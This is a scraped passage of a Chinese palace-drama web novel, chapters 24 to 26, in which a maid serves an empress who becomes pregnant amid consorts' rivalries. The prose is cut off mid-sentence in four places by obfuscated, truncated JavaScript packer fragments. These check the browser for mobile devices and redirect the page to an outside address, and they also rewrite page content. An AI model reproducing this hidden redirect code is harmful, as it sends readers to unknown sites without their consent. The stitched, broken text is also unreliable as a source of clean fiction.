l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279972|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐数不清的毒手。但因为实在喜欢,她换着花样的制作,不同样的戴在头上。 看着沈青脸颊上的软肉弹了一下,萱草心满意足弯唇。 因娘娘成为皇后,身边便多出来一名大宫女的位置,只是沈青无意相争,只想老老实实研究妆粉,为娘娘上妆,萱草便由得她。但是在私底下,她向皇后娘娘建言了与沈青交好的芰荷。 芰荷的资历是完全够的,和她呆在一起也很让人舒心。萱草不想未来的同僚是个能惹事的,也不希望是个会找沈青麻烦的。 皇后娘娘思量了一番,便提拔了芰荷。 翠微漆姑遗憾落败,但也没什么微词,她们都是老实做事的人,私底下也会和沈青聚在一起研究皇后娘娘的妆发服饰,好的妆需要配合适的发髻,华丽的发髻也需要妆容跟上,二者相辅相成。 她们的目的只有一个,让皇后娘娘的威仪压过四座,绝不能让底下嫔妃生出僭越的心。 在封后的第二日,众妃请安的时候,皇后便收回了德妃的宫权,德妃还的利落,但回去后,还是告了病。 皇后心知德妃是不愿在她面前做小伏低,来坤宁宫日日请安,毕竟她原就是那般高傲的贵女,于是也没揪着此事不不放,更没提将德妃的绿头牌撤下去。 皇后心地善良,萱草却直哼哼,时刻担心娘娘被嫔妃欺负了。 耳濡目染下,沈青翠微漆姑三个搞妆发服饰的,自然不能让娘娘输了阵。 芰荷升了职,大宫女人数是够了,但皇后身边本需配备六名二等宫女,如今缺口一下子便大了,然而皇后觉得人手够用,便觉得此事不急,和眼缘才最重要。 眼下更重要的事便是大婚之后,帝后感情之事。 乾清宫和坤宁宫本就居于皇宫中轴线上,离得也颇近,中间只有一个交泰殿。 因此皇上政事不忙时,不需乘龙辇,走两步都能到坤宁宫,比去东西六宫都要方便得多。 也因此,常常打皇后一个措手不及,于是夫妻之间便也少了几分疏离,多了些情谊。 皇后忙于宫务,皇帝忙于政事,但在午膳时,十次有六次,两人是在一起吃的。 而且刚大婚一个月,皇上很给面子没去后宫,到坤宁宫的次数简直比以往一年来皇后这的还多。 坤宁宫上下喜气洋洋,皇后心里也高兴,她一高兴,就爱翻一番月例。 天菩萨啊,去哪儿找这么好的皇后。 但皇上来得次数多了,皇后的心里话就有点黄,常常坐着梳妆,心思都已经不知道飘在哪儿了,弄得沈青恨不得当个聋子。 她还小,听不得酱酱酿酿。 皇上来得频,皇后自然也得有所表示,于是让小厨房准备了皇上喜欢的汤,着人送去乾清宫。 因为小定子是王积贵的人,王积贵和钱全忠在皇上身边更像是一个主内,一个主外。因此随皇上来坤宁宫的多是钱全忠或是他的徒弟钱继。 于是沈青如果要见小定子,便要随着一起去乾清宫送汤。 小定子如今也被调到了乾清宫,王积贵手下,同时还改了名字,随了王积贵的姓,名唤王定,也是个叫得上名号的小人物了。 虽然沈青和王定不能光明正大交好,但问个好还是可以的。 比八九月时便利了许多。 24. 第 24 章 除夕之前,腊月初一,天气晴朗,路上少有积雪,太后回宫。 皇上皇后率一众嫔妃迎接,御林军护卫着太后的车架停在宫门口,一名穿着深紫色衣裳的妇人从马车上下来,她约莫三十多岁,生得温婉动人,脸上无一丝皱纹,容貌与皇上有些相似,看得出是亲母子。 沈青青只看了一眼太后,便发觉皇后的气质有些肖似太后,都是温婉和气那一挂。 难道皇上封娘娘为皇后还有太后这一重原因? 皇上上前扶住太后的胳膊,平日少言少语的皇帝在太后面前话也仿佛多了起来,问太后在外面吃住可舒心,佛法上的进益,甚至还能和太后谈两句佛经。 太后简单回答了几句,目光便落到皇后身上,皇后紧张请母后安,太后便顺着夸了几句,然后从嫔妃中指到颜修仪,让她伴在身旁。 因皇上皇后一左一右立在太后身边,德妃牢牢霸住皇上身边的位置,颜修仪便只能站在皇后身边。 太后、皇后、颜修仪站在一起,沈青青更感奇异,比起颜修仪,皇后倒更像是太后的亲侄女。 约莫觉得这一幕有趣,身为皇帝的纪宸居然唇畔带了一丝笑。 纪宸尚未及冠就登基为帝,可能觉得年龄不能服众,因此他少有笑的时候,目光沉沉似乎能看透人心,就连帝后大婚也不是开怀大笑,而是符合那时氛围的浅笑。 至于与皇后平日在坤宁宫的相处,卸下了一部分帝王威信,轻松随适了许多,但也未迁就到带笑。 这一刻,纪宸的随心而笑,为他增色了许多。 沈青青一直知道皇帝长得好,不然也不能迷住皇后,但还是被惊艳了一下,于是连忙将余光放在了其他嫔妃上。 不管心里想的怎么样,皇后和颜修仪在太后面前相处的极为融洽,像极了一对姐妹。至于终于出了永寿宫的德妃,则不咸不淡,对太后也称不上亲近。毕竟有颜修仪这个亲侄女在宫中,再怎么讨好,也不及颜修仪在太后心中的地位,且她已是妃位,早就在宫中立足了,压根不需要太后提拔。 德妃不认为她在短时间内能成为贵妃,皇后不会允许,皇上亦不会允许。 既如此,没得给自己找桩麻烦。 惠贵嫔脸上带着真心实意的笑容,似乎很为颜修仪高兴。太后回来了,皇上只要准备去后宫,颜修仪被翻牌子的次数绝对会增加。 皇上可是出了名的孝子。 至于其他低位嫔妃,纵然想讨好太后,在这种情况下也是凑不过去的,看向颜修仪的目光不免带上了羡慕。 看看人家的出身,同一个大选的秀女,颜修仪不需熬资历就早早就成了修仪,而她们却只能依靠皇上的宠爱慢慢升位份,偏偏皇上对位份还十分吝啬,唯一的大方给了杜氏…… 嗐,宫内已经没有嫔妃会去主动提杜氏了,至多把她当成一个教训。 太后看着皇上的嫔妃们,目光一凝:“皇儿后宫的人还是少了些。上次大选竟只出了高美人一个得皇上宠爱的,玉贵人何在?让哀家看一看。” 高美人的脸上露出些许自满,剩下同是大选出身的两名宝林两名才人俱神色羞愧,颜修仪神情不变。 玉贵人出列,本本分分行了礼,请太后安。 玉贵人年轻貌美,是很标准的美人之姿,犹如一朵形姿优美的山茶花。 太后满意地点了点头,褪下手上的镯子,亲自戴到了玉贵人细嫩柔美的手腕上:“仪容端庄,是个好孩子。” 感受到高美人落到镯子上的目光,玉贵人心中苦笑,太后这是在为她树敌。 罢了,即便她对高美人说,她无意与她相斗,高美人恐怕也是不信的,既然早晚都要对上,她又有什么好怕呢? 玉贵人惊喜又恭敬地谢太后赏赐,随即退回到嫔妃的队伍中。 太后转而又拉起皇后双手,拍了拍:“皇上膝下无子,皇后要早日为皇上诞下嫡长子。” 太后下达任务,皇后身为儿媳能怎么办,只能温柔称是。 【啧】 一时之间,所有目光都汇聚在了皇后的肚子上,似乎透过那里看到了未来的嫡长子。 沈青青有点想笑,面对催生,即便是皇后,心中也是有点不耐烦的。 不过,皇上已经这么大年纪了——十九岁,居然没有子嗣,在这个朝代可是相当罕见的,尤其他还身为皇帝。甚至后宫嫔妃也没一个传出消息,该不会皇上不能生吧? 在众人都看向皇后的时候,沈青青默默瞟了一眼皇上。 但见纪宸没有丝毫晦暗,应该是能生……的吧? 一群人浩浩荡荡去了慈宁宫,一番折腾下来,后妃都有些精神不济,皇上便让这些人回去了。过了片刻,他又和皇后离开,慈宁宫中,就只剩颜修仪陪着。 龙辇凤辇一前一后从慈宁宫出来,又分别回了乾清宫和坤宁宫。 坤宁宫中。 皇后神色倦怠靠在红木雕金凤嵌红宝石的软榻上,青玉为她梳头,青古为她净脸,脱下沉甸甸的皇后制服,简单披了一件凤袍,室内被地龙烧得暖烘烘,更让人觉得昏昏欲睡。 沈青泡了茶端给皇后,看到皇后在轻抚着肚子,一愣,这是有了? “皇后娘娘您……” 平日沈青不会这么没分寸的,但实在太震惊以至于脱口而出,但好歹截住了后半段话。 皇后的目光顺着沈青的视线落到自己肚子上,手上动作一顿,顿时失笑:“虽喝着药,但哪能那么快?” 因先帝的子嗣不多,为免意外,皇后自然对皇嗣很上心,在入主坤宁宫的第一天便让人熬了能生子的秘方来喝。这是她娘传给她的,据说京中很多妇人就是靠此方子才得子的,幼时她见母亲喝这种药嗤之以鼻,然而身份转换,如今的她,也不得不依赖这种药了。 皇上需要一个嫡长子。 她也需要一个能让她稳固后位的皇子。 皇上在大婚后到现在两个月不临幸后宫何尝不是在给她机会。 听到皇后在喝药,沈青问:“可是太医给娘娘的方子?奴婢真是粗心,居然没注意到娘娘在喝药。” 皇后冲沈青招了招手。 沈青将茶放下,曲蹲在皇后身边,皇后抚着她的脸颊:“非也,是我母亲给我的秘方,听闻许多女子都是靠这一偏方才能有子。” 沈青皱眉,眼中是明晃晃的不赞同,着急道:“娘娘,是药三分毒,何况是这种乡野偏方,应该找太医看过才能喝。且娘娘您这么年轻,怀孕是迟早的事。奴婢有一句话不知当讲不当讲……” 皇后离沈青最是近,知道她对她一片赤诚,不搀分毫假,于是拦住芰荷想制止沈青的动作:“讲。” “奴婢未进宫的时候,听闻有妇人胡乱喝药,生下的孩子天生就是个残疾有缺的,虽然奴婢不知这概率如何,但即便是万分之一的风险,奴婢也不想娘娘冒。” 皇后沉思,手上轻轻一颤,母亲是断然不会害她的,可沈青的话更让她心惊。 她苦笑一声:“罢了,先把药停了吧。待问过太医再行决断。” 沈青脸上先是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279973|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜,便又纠结起来。 看到她这般好懂的模样,皇后升起兴趣:“不如把话说全。” 沈青红着脸小声说:“其实奴婢这里也有易孕的方法,就看娘娘愿不愿试试了。” 皇后想了想,让室内其他宫人先离开,只留下心腹。 沈青这才缓缓道来,譬如什么日子更容易受孕(排卵期),譬如同房后垫个枕头多躺会儿…… 鉴于她应该是不懂这些的,就不说同房用什么姿势了,只道这些都是母亲告诉她的,她的母亲也战绩可查。 沈青说:“奴婢母亲姓李,在奴婢进宫前她便生了五个儿女了,常常说话没什么顾及,当时可能以为奴婢小,什么都不记得,才没避开奴婢。” 李氏李雁是个绝对称不上温柔的女人,沈青的外祖是个杀猪匠,只因唯一的女儿生得貌美如花,才得以嫁入富商沈家,嫁过去后十几年如一日的夫妻俩如胶似漆。 李雁无弟兄姊妹,外祖家往上数也没有子嗣丰盛的一代,沈家倒枝繁叶茂,不过这不更作证了沈家才是当之无愧有生子技巧的那一个吗? 那身为沈家长女的沈青,知道一些也无可厚非。 皇后听着本来也不好意思了,但看到沈青这么难为情,反而调笑开来。 方才紧绷的气氛瞬间烟消云散,芰荷也舒笑起来。 将漏洞补完,沈青又嘱咐道:“娘娘身边的人年纪都不大,不如找一个经验丰富的嬷嬷来照看,应能少走不少弯路。” 她娘身边就有一个沈家的老嬷嬷,烦人是烦人了点,但懂的是真不少。 皇后眼中闪过光芒。 【这倒是个和太后表孝心的好机会。】 沈青仰着头,脸上满是诚恳。 皇后沉吟道:“本宫明早理应去给母后请安,问一问母后回宫后可有什么不适。” 不适是自然没有的,满宫上下,没有人敢怠慢太后。 翌日,皇后从慈宁宫出来,身后多了一位跟了太后二十余年的嬷嬷,这下,后宫嫔妃便知道,太后是满意皇后的,不然也不会将身边的人赐下去。 腊月一整月,皇后遵循着沈青的方法,心情忐忑又惊奇,她把消息封锁在坤宁宫中,找过太医检查秘方后,虽得到不伤身的回答,犹豫过后还是没在用。 时间很快来到除夕家宴,这是一年到头人来的最齐的一次。 在除夕家宴上,沈青青见到了先帝的其他三位皇子,在心中默默评判了一番。二皇子一双桃花眼,偏风流的长相,因为还是少年人,显得浮躁不担事,三皇子略显痴肥,白白胖胖,但底子是俊逸的,四皇子长相只能称得上周正。 怪不得皇上能稳坐继承人的位置,这三位皇子眼见着是没有能威胁到他地位的能力。 沈青在心中感叹着皇上的好命与顺遂。 至于两位公主,因为住在皇宫,沈青替皇后办事还是见过几次。 永福长公主端庄大气,小小年纪便可在她身上窥见皇室威仪,比她小两岁的小公主就呆萌很多,显得不谙世事。 不期然,永福长公主与沈青四目相对,沈青很想装作什么都没发生的样子,但奈何被抓包了,不由感叹好敏锐的公主,便对其笑了笑。 永福长公主名唤纪仙,她认得沈青,于是绷着小脸对她点了点头。 这才错开视线。 沈青扭头,皇上正在问询几位皇子的功课,长兄如父,言语间不乏勉励督促,这般对比下,更显得几位皇子幼稚非常,且不担事。 要不人是太子呢。 25. 第 25 章 除夕守岁结束后,沈青睁着困倦的一双眼睛,听到皇后说皇上要多给宫人一个月月银,她瞬间精神,紧接着,皇后便宣布坤宁宫上上下下再多给三个月的月例。 既是犒劳身边宫人过去一年的辛劳,又是图个新年喜庆。 因新年而从腊月初一忙到除夕的坤宁宫众人,即便知道这种忙碌的日子还会持续到正月十五,听到这句话后,脸上的喜悦便怎么也压不住。 就连一向稳重的青玉和青古,都相视笑了笑。 坤宁宫上下喜笑颜开,过年的氛围更浓郁了。 正月初一,沈青换上新衣棉服,数着匣子内越堆越多的银子,露出真心实意的甜甜笑容,花不完,根本花不完。 今天最累的当属紫禁城的两位主子,皇上需要先进行开笔仪式,然后和皇上进行各种祭祀,祭祀完毕后再去向太后请安贺岁,之后的几天便是各种的宴席宴会。 沈青要做的事情不多,甚至有时候还不需要跟在皇后身边,可以说相当悠闲。 而最让她期待的莫过于正月十五的赏花灯,届时满宫不上值的宫人都有机会去看烟火。 去年的时候沈青便一个人提前去膳房买了份便于携带的食物——夜宵,边看烟花边啃,最后诚心诚意许了愿后,才满足地回了宫女住的庑房。 现在想来还很幸福。 至于去年的愿望,沈青已经忘的差不多了,左不过不愁银子用,她现在已经实现了。 到了正月十五这天,皇后身边不需要那么多人伺候,便免了些宫人的值。 鉴于沈青年纪还小,正是喜热闹的时候,就没有将她拘在自己身边。 沈青眼含热泪,却不知该怎么表达感动,只能恭敬行礼致谢:“奴婢谢娘娘恩典!” 因皇后给管厨房的宫人也放了假,沈青自然不会去麻烦对方为自己开火,便提前在膳房预定了盒饭菜。 等到皇后去与宫内其他主子们赏花灯,她则取了食盒去找王定。 王定今日值守乾清宫,提前给她报过信儿,可以去。 宫道上的宫人稀少,都一拥去了最适合看花灯烟火的位置。 沈青到乾清宫时,乾清宫内还值守严密,但属于宫人的庑房处却没什么人,所以她直接去王定的住处等他。 她将食盒放在庑房外的石桌上,坐在那儿等他。 又因不知道他什么时候来,便撕了半只烧鸡在吃,在王定面前,貌似不需要什么形象。 毕竟他是太监,沈青是宫女,又能发生什么呢? 且王定比她大几岁,看她的眼神完全是在看妹妹,这点,沈青还是能发现的。再者,她这具身体才十四岁,王定虽是太监,但也是太监中较为光明磊落的人,而非变态。 不得不承认,膳房一盘收那么贵的饭菜钱是完全合理的,他们的手艺真是太好了! 呜呜好香啊。 比去年她吃的食物好多了,果然贵有贵的道理。 沈青沉迷于肉香不可自拔,再习惯性往来庑房的方向看,发现不知何时站了一个人,如幽魂一般无声无息。 “王、王公公。” 沈青脸上脖子上一红,突然出现的正是皇上身边最倚重的王积贵,而非他众多干儿子中的一位王公公。 沈青连忙站起来,双手还捧着啃得正香的半只烧鸡:“……奴婢是来找王定公公的。” 小宫女的一双眼睛雾蒙蒙的,但遮不住本身就亮亮的星眸。 无可否认,她是极为特殊的一位,皇后像养亲妹子一样将她养得那般灵动可爱,像只雪白的小兔子,抚过毛茸茸的兔毛,从颈上单手拎起来,亦可感受到那沉甸甸又实腾腾的手感。 全是她辛苦吃上来的。 因为一些缘由,王积贵很早便注意到她,注意到她蒙了尘埃的美貌,心里想着或许是个可用的棋子。 后来沈青常来御前送汤,渐渐地,御前的人便和她熟了,而他也发现新收的干儿子王定与对方熟稔亲近的关系,心中一哂,便明白只要他重用王定一天,王定是不会让他去利用这个宫女去做危险的事。 王积贵不喜麻烦,皇上也知道他的性子,常让他守着乾清宫,而非像钱全忠那样去哪儿都带着。又因王定用的实在顺手,他便不会去违背对方心意做一些吃力不讨好的事。 虽然他可以,但那太麻烦了。 轻易察觉到今晚王定浮躁的心思,王积贵不知道自己怎么想的,先一步来到了这里。 在这一刻,王积贵才明白他为什么会被这个小宫女吸引,大约是他从前也养过小兔子的缘故,对这种生物没有丝毫抵抗力。 换成人应该也是一样的。 如果沈青知道他所想,便会知道这位王公公大概喜欢萌物,就像一些猫奴和坤宁宫那些姐姐面对她的模样。 人很容易对可爱的东西生出一副柔软心肠。 而以沈青年龄和样貌,她可爱的浑然天成恰到好处,让人不自觉将目光落到她身上。 因王积贵长久的不说话,两人之间的氛围死一般的寂静。 沈青的额头在这样冷的天气都要急得冒汗了,眼睛更是圆溜溜的,只能分出心思将烧鸡包进油纸里,偏王积贵察觉不到似的。 王积贵终于缓声道:“王定等会儿就来。” 沈青恍然大悟,原来是王定让王积贵来通知她一声,于是瞬间松了一口气,露出劫后余生的笑容,客气道:“王公公晚上吃饭了吗?要不要来一点?” 千万要拒绝啊,她的一盘菜可贵了。 请王定吃不心疼,毕竟他给了她许多钱,她匣子里一办的银子都有赖于王定才能攒下。 出于在他们两个在宫中都是孤家寡人的身份,她才来找王定的,不然就跟着坤宁宫的姐姐们去看烟花了。 面对小宫女要折半的真诚,王积贵点了点头。 沈青先是愕然,然后坚强露出微笑,将位置让给他,面对好伙伴的干爹,她几乎拿出了对长辈所有的尊敬:“您请。” 即便王积贵看着非常年轻,二十出头的模样。 但干爹就是干爹,王定的也一样。 王积贵虽觉得怪异,但还是走过来,从容落座。 沈青把食盒中一半的食物拿出来,即便这样摆在石桌上还很是可观。 毕竟她力气大么,直接让膳房的人给她准备了最大的食盒。 王积贵的目光落到食物上,沈青就更自在了,殷勤地为他介绍食物,全是她平时爱吃而不常吃的,每道她都能说出优点。 准备这么多,其实还存了让王定分给其他的人心思。 但现在么,王公公吃好喝好才是最重要的,即便不能讨好,也不能让对方记恨她,给王定小鞋子穿。 毕竟都当太监了,心眼自然比常人要小。 沈青脸上露出甜笑,将一双干净的筷子递给王积贵。 王积贵伸手接过,他的手修长干瘦,能看到上面的青筋血管,与沈青纤细柔软的手形成鲜明对比。 小宫女手心的红痕在他眼前一闪而过。 不难猜出,是拎食盒拎的。 王积贵挑沈青极力推荐的食物吃了两口,确实如她所说那般美味。 这时,明显的脚步声响起,王积贵不消回头,就知道来人是谁,果然,小宫女往那个放下看了一眼,眼睛一亮,脸上露出真挚百倍的笑容。 有对比才知道方才对他有几分真诚。 “王定,你终于来了。”话一出口,沈青就自觉失言,抿了抿唇。 同一时刻,王积贵手持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279974|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的筷子磕到了盘子边缘。 沈青往王定那里走了几步,王定先是冲她点了点头:“久等了。”然后叫了王积贵一声干爹。 王积贵这时才后知后觉琢磨出差辈份了。 他淡淡应了一声,一如往常,看不出他什么态度。 王定看了眼食盒:“既然这样,那就一起吃吧。” 王积贵不说话,往常便是答应的意思,王定习惯了他没什么情绪的模样,拉沈青的袖子让她坐下,叮嘱沈青稍等,便回住处拿东西。 王定回来的时候拿了盒药膏和一个木匣。 沈青的视线落到木匣上,是礼物! 没有人不喜欢收礼,和王定相处真的很舒服。 王积贵的目光却落到药膏上,略略垂眼,明明是他先发现的。 王定隔着袖子捏住沈青的手腕:“把手展开,让我看看磨破了没有。” 食盒木做的,那么沉那么重,平常只有太监会去拎那么大的食盒,也不知她是怎么拎过来的。 沈青惊讶:“好神奇,你怎么知道的?”她将手展开,手心红彤彤一片,来到皇后身边后,她的手常用油脂养着,早没了以前当三等宫女时的粗糙,反而又薄又透,像精心娇养的女子的手,此刻手心的红肿是那么刺眼。 王定了解沈青对自己的粗枝大叶,他边给沈青上药膏,边指了指食盒。 “不要再拎这么大的食盒了,沉不说,还磨手。” 沈青没好气道:“我这不是想把喜欢吃的都让你尝尝嘛。” 王定眼中带笑,上完药后将她的手放下去,不留情面点破道:“只要是肉,你都喜欢吃。” 虽带着些微不可察的责备,但眼底的纵容是实打实的。 王积贵望着美味的食物,觉得食不知味。 呵。 这边沈青还在愤愤:“甜的我也喜欢。” 并威胁道:“再这么不给我的面子,我就把你的糗事给干爹抖露干净!” 王定的上司在这,她的上司却不在,实乃她占上风。 王积贵一哽:“你叫我什么?” 沈青乖巧道:“干爹。” “您是王定的干爹,奴婢作为他异父异母的亲妹妹,理应叫您一声干爹。” 太棒了她,简简单单一句话,就行云流水攀上了宫中最牛逼的大太监之一。 王定唇边溢出点笑意。 王积贵脸一僵:“……,很好。” 沈青再接再厉:“干爹您多吃点。” 在小宫女殷殷的目光中,王大公公埋头干饭。 沈青目光催促地看向王定。 王定将礼物从木匣中拿出来,是三个铺在绸缎上的镯子,分别为银镯金镯和玉镯,均做工精良,圈口恰适合沈青的手腕,不会显得大或者小。 沈青很给面子地哇了一声,爱不释手地挨个往手腕上戴了一遍。 最终腕子上多了只玉镯,显得她的肌肤如羊脂白玉般。剩下的被她收了起来。 沈青带给王定的是一根徽墨,墨条上面有着描金花枝。 这种墨条价极贵,跟黄金差不多了。 沈青对文具有股执念,苦了什么不能苦了教育,想到王定,便自然而然想到了文房四宝。 到底干爹在一旁,王定克制般的欣赏了一番,这便收了起来。 今天遇见王积贵纯粹巧合,并未准备什么礼物,沈青因刚强行认了干爹,现在还有点心虚,只一个劲儿劝饭。 堂堂王积贵不语,只一味吃菜。 远处的烟火升到半空,灿然绽放,璀璨的光芒在这一瞬照亮了此间,驱散了夜晚的灰暗,让人平生温暖。 沈青连忙闭眼,虔诚开始许愿。 两人的目光安静落到她脸上。 26. 第 26 章 十五一过,偌大的皇宫又回到了往日的面貌。 那日之后,沈青收到了王定替王积贵送来的一盒金元宝,总共十六个,四行四列,一个元宝一个绸缎坑地放在盒子里,每一个都是那样圆滚滚,憨态可掬,拿起来沉甸甸的,散发着属于真金的光泽感,衬得木盒都沾上了贵气的金光。 沈青喜欢的不得了,每天晚上都要挨个摸上几遍才能睡着。 同时对王积贵的好感提升了不少,怪不得人是大太监呢,出手就是大方。 年一过,摆在皇后面前的首要任务便是大选,但是大选之前,各宫嫔妃的位份多少也得动一动,若让新人压了老人的位份,宫中的老人该有怨言了。 皇后趁着纪宸来坤宁宫时,提起了这件事。 纪宸道:“皇后自己决断即可。” 即便纪宸这么说,皇后斟酌后还是问询道:“那颜修仪,玉贵人和高美人皇上可有安排?” 颜修仪是太后的侄女,肯定是要借着这次机会升一升的,少了谁也不能少了她,但怎么升却是个难题。 修仪已是从二品,再往上就是正二品的妃,但如今从一品的贵淑德贤四妃位置上,只有德妃有人,若不进一位,岂非显得不充盈? 私心上,皇后是希望有人能压一压德妃的气焰的。 至于玉贵人和高美人,两人作为皇上叫得上名号的宠妃,最好问一问皇上的意见。 若事后皇上不满意,再调位份则会显得她这个皇后不周到。 纪宸思考片刻道:“颜修仪晋为贤妃,玉贵人和高美人各升两级,高美人赐封号兰。” “惠贵嫔宫内的西侧殿空着,将兰婕妤挪居此处。” 皇后温柔恭顺称是。 内心则在疯狂做阅读理解。 【现在便改口叫高美人为兰婕妤,但惠贵嫔的称呼却不变,是不是意味着惠贵嫔什么也不动?】 【将兰婕妤一个正四品的放到惠贵嫔的景阳宫中,景阳宫有惠贵嫔的这个主位压着,兰婕妤想成为一宫之主就得迁宫,可现在皇上刚把她迁过来,不就意味着兰婕妤顶天了也就是从三品的嫔。】 【且景阳宫的西侧殿不就是以前杜氏还是婕妤时住过的织云殿。兰婕妤与杜氏有仇,搬进织云殿岂不是存心膈应。】 【这方方面面都在显示皇上不满兰婕妤,那这不满又是从什么时候开始的?莫不是兰婕妤当初在宫道上罚跪杜氏,亦或者还做了什么蠢事?】 沈青前来奉茶,刚进去就听到了皇后的大声猜疑,再一看帝后和乐的一幕,哪能想不到皇上又给皇后出了什么难题。 皇上喜欢话留三成,下面的人自会依着他的心思办事,甚至会尽善尽美。 皇后则喜欢挖掘皇上话中藏着的意思,不断思量,以求周到。 因此两人的相处更像是在营造一种明君贤后的氛围。 沈青将二人喜欢的茶奉上,便默默退了出去。 皇上很快离开,皇后也开始准备给后宫嫔妃升位份的事。 宫中恩宠单薄的低位嫔妃梅才人、马才人、周宝林、方宝林都得往上升一级,高美人升为兰婕妤,玉贵人升为玉嫔,惠贵嫔不变,颜修仪升为贤妃,德妃不变。 这么算下来,后宫嫔妃真是少得可怜,希望今年的秀女质量好一些。 办完这些事,皇后让人将沈青唤来。 沈青很快便来了:“皇后娘娘。” 皇后坐在太师椅上,身后是青玉给放的软垫,她让青玉去将门关上,拉起沈青的手,放在自己的肚子上:“沈青,本宫好似怀上了。” 沈青嘴巴微张,被这个消息冲击到了。怀上好啊!但理应代替她站在这儿的,不应该是皇上吗? 初为人母的喜悦不都是和丈夫分享吗? 虽然有些怪异,但沈青仍高兴的不得了,似乎能从皇后平坦的腹部感受到小生命的存在:“真的吗娘娘!我们要有小皇子了?” 虽然这胎不论公主皇子都非常尊贵,但若是皇子,皇后的地位便稳固了,甚至不用再受生育之苦。 皇后笑容扩大,点了点头,棕褐色眼眸中泛起柔光。 “青古会把脉,加上本宫的月事已经迟了十几天了,心中有所预料,便让青古把了一次脉,摸出是滑脉。” 沈青这才想起方才的疑问:“娘娘为何不在刚刚皇上来时,告诉皇上这件喜事?” 皇后:“本宫想等太医请平安脉时再点破此事,现在月份浅,若是乌龙便不妙了。” 沈青肯定道:“一定不是乌龙,娘娘一看便是有福之人,上苍是眷顾娘娘的。” 怀孕的人心思敏感,娘娘也是同理,沈青所能做的,也只是哄着皇后娘娘开心。 皇后用葱指点着沈青的额头,佯嗔道:“你呀。” “不过此事只有青玉青古,你和本宫知道,连太后送来的那位嬷嬷都不知道,莫要说漏嘴了,不然萱草该找我哭了。” 沈青:“萱草姐姐最爱娘娘了,才不会呢。奴婢一定守口如瓶。” 皇后想起不久后的选秀:“待会儿让青玉带着你去库房挑一身料子,送到司衣司让绣娘给你做一套春装。不久后的大选,一些不足以让本宫出面的微末小事,便由青玉和你去处理。届时,也好历练一番。” 皇后重用,沈青哪会辞让,于是干脆利落应下:“奴婢明白,谢皇后娘娘!” 大肆册封后妃的旨意传到各位嫔妃宫中,德妃暂时升无可升,听完后便让石榴将人打发了出去。 景阳宫的惠贵嫔听到别处的热闹,心中乱糟糟一片,头也钝钝的疼,她苦笑道:“满宫这么多人,唯独拉下我,没有恩宠就合该遭人轻贱吗?” 当下,更没了去庆祝颜修仪升为贤妃的心思。 惠贵嫔的贴身宫女翡翠愤愤道:“皇后娘娘这是什么意思,根本没将娘娘放在眼里。” 惠贵嫔此刻对皇后的不满达到了顶峰。 她闭了闭眼,再睁开时,眼中一片冷然:“把家中递来的信重新给本宫找出来。” 翡翠忧愁道:“娘娘不是不愿掺和秀女的事?” 惠贵嫔讽笑道:“本宫再不争一争,满宫只怕没人会记得本宫了,趁着本宫尚且有些人脉,将人调进景阳宫中,来日那人获宠,皇上总该记得景阳宫还有位主位娘娘。” 翡翠还泛着忧愁,西偏殿已经有了兰婕妤,若将人置到偏殿,说不定会招来怨怼。 罢了,娘娘心中有气,依着娘娘就是了。 因为此次册封中有高位妃嫔,便不会草草了事,而会举行由贤妃颜英华打头的正式册封仪式,其他低位嫔妃则沾了贤妃的光,一同隆重受封。 这件事过去后,又紧接着爆出了皇后有孕,宫中人心浮动。 但皇后早有准备,将坤宁宫管理的像铁桶般严密,殿内的香料也因为沈青的建议不燃了,凡她吃的用的所经手的,都会有专人检查。 太后赐下的那个嬷嬷更是被指挥的团团转,一天三遍检查坤宁宫。 永寿宫内。 德妃第三次对石榴叹气。 石榴自然急德妃所急,德妃不在意皇上到后宫临幸了谁,谁又重新获宠,只一门心思动用人力打听坤宁宫的事。 “你说,她怎么就那么好命呢?” 皇上自大婚后不过多给了坤宁宫三四个月的脸面,偏偏就这么短的时间,皇后居然怀了。 圣上的第一子,又是中宫所出,怕是要格外合皇上的心意。 石榴神色不变,比了个手势:“娘娘,您说要不要……” 石榴的未尽之言,德妃听懂了,但是她道:“不必,皇后此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279975|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻正愁没本宫的把柄。把本宫扳倒了,她此后十几年便能无忧,本宫才不会如她所愿。” 她们都曾掌宫权,利用宫权安插人手再方便不过了,正如德妃不知道皇后的势力有多大,皇后想到德妃可能暗藏的人,恐怕深夜也会辗转反侧。 这种情况下,扳倒对方,便是最一劳永逸的方法。 坤宁宫中。 